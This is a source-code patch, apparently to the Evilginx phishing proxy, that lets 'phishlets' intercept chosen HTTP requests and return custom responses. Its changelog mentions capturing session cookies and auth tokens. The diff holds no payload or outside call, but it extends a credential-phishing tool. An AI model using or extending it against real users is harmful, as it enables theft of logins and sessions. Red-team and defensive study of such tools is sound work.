From 55aa7b712fc19ea3de4c3415cc7178d8f58389c9 Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Thu, 27 Jul 2023 16:15:32 +0200 Subject: [PATCH] added phishlet ability to intercept http requests --- CHANGELOG | 5 ++++ core/http_proxy.go | 27 ++++++++++++++++++++ core/phishlet.go | 62 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 94 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index 0501756e5..4facd4840 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,8 @@ +# Unreleased +- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section. +- Fixed: Fixed HTTP status code response for Javascript redirects. +- Fixed: Redirects now only happen on `text/html` pages with valid HTML content. + # 3.1.0 - Feature: Listening IP and external IP can now be separated with `config ipv4 bind ` and `config ipv4 external ` to help with properly setting up networking. - Fixed: Session cookies (cookies with no expiry date set) are now correctly captured every time. There is no need to specify `:always` key modifier for `auth_tokens` to capture them. diff --git a/core/http_proxy.go b/core/http_proxy.go index 176e751ba..5e557126d 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -459,6 +459,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + // check if request should be intercepted + if pl != nil { + if r_host, ok := p.replaceHostWithOriginal(req.Host); ok { + for _, ic := range pl.intercept { + //log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host) + //log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path) + if ic.domain == r_host && ic.path.MatchString(req.URL.Path) { + return p.interceptRequest(req, ic.http_status, ic.body, ic.mime) + } + } + } + } // replace "Host" header if r_host, ok := p.replaceHostWithOriginal(req.Host); ok { req.Host = r_host @@ -1051,6 +1063,21 @@ func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Respon return req, nil } +func (p *HttpProxy) interceptRequest(req *http.Request, http_status int, body string, mime string) (*http.Request, *http.Response) { + if mime == "" { + mime = "text/plain" + } + resp := goproxy.NewResponse(req, mime, http_status, body) + if resp != nil { + origin := req.Header.Get("Origin") + if origin != "" { + resp.Header.Set("Access-Control-Allow-Origin", origin) + } + return req, resp + } + return req, nil +} + func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Request, *http.Response) { body := fmt.Sprintf("", rurl) resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body) diff --git a/core/phishlet.go b/core/phishlet.go index f7fb11512..06d706dfd 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -96,6 +96,14 @@ type JsInject struct { script string `mapstructure:"script"` } +type Intercept struct { + domain string `mapstructure:"domain"` + path *regexp.Regexp `mapstructure:"path"` + http_status int `mapstructure:"http_status"` + body string `mapstructure:"body"` + mime string `mapstructure:"mime"` +} + type Phishlet struct { Name string ParentName string @@ -118,6 +126,7 @@ type Phishlet struct { forcePost []ForcePost login LoginUrl js_inject []JsInject + intercept []Intercept customParams map[string]string isTemplate bool } @@ -199,6 +208,14 @@ type ConfigJsInject struct { Script *string `mapstructure:"script"` } +type ConfigIntercept struct { + Domain *string `mapstructure:"domain"` + Path *string `mapstructure:"path"` + HttpStatus *int `mapstructure:"http_status"` + Body *string `mapstructure:"body"` + Mime *string `mapstructure:"mime"` +} + type ConfigPhishlet struct { Name string `mapstructure:"name"` Params *[]ConfigParam `mapstructure:"params"` @@ -211,6 +228,7 @@ type ConfigPhishlet struct { LandingPath *[]string `mapstructure:"landing_path"` LoginItem *ConfigLogin `mapstructure:"login"` JsInject *[]ConfigJsInject `mapstructure:"js_inject"` + Intercept *[]ConfigIntercept `mapstructure:"intercept"` } func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) { @@ -464,6 +482,38 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri } } } + if fp.Intercept != nil { + for _, ic := range *fp.Intercept { + var err error + var body, mime string + if ic.Domain == nil { + return fmt.Errorf("intercept: missing `domain` field") + } + if *ic.Domain == "" { + return fmt.Errorf("intercept: `domain` field cannot be empty") + } + if ic.Path == nil { + return fmt.Errorf("intercept: missing `path` field") + } + path_re, err := regexp.Compile(*ic.Path) + if err != nil { + return fmt.Errorf("intercept: `path` invalid regular expression: %v", err) + } + if ic.HttpStatus == nil { + return fmt.Errorf("intercept: missing `http_status` field") + } + if ic.Body != nil { + body = *ic.Body + } + if ic.Mime != nil { + mime = *ic.Mime + } + err = p.addIntercept(*ic.Domain, path_re, *ic.HttpStatus, body, mime) + if err != nil { + return err + } + } + } for _, at := range *fp.AuthTokens { ttype := "cookie" if at.Type != nil { @@ -922,6 +972,18 @@ func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, return nil } +func (p *Phishlet) addIntercept(domain string, path *regexp.Regexp, http_status int, body string, mime string) error { + ic := Intercept{ + domain: strings.ToLower(domain), + path: path, + http_status: http_status, + body: body, + mime: mime, + } + p.intercept = append(p.intercept, ic) + return nil +} + func (p *Phishlet) domainExists(domain string) bool { for _, d := range p.domains { if domain == d {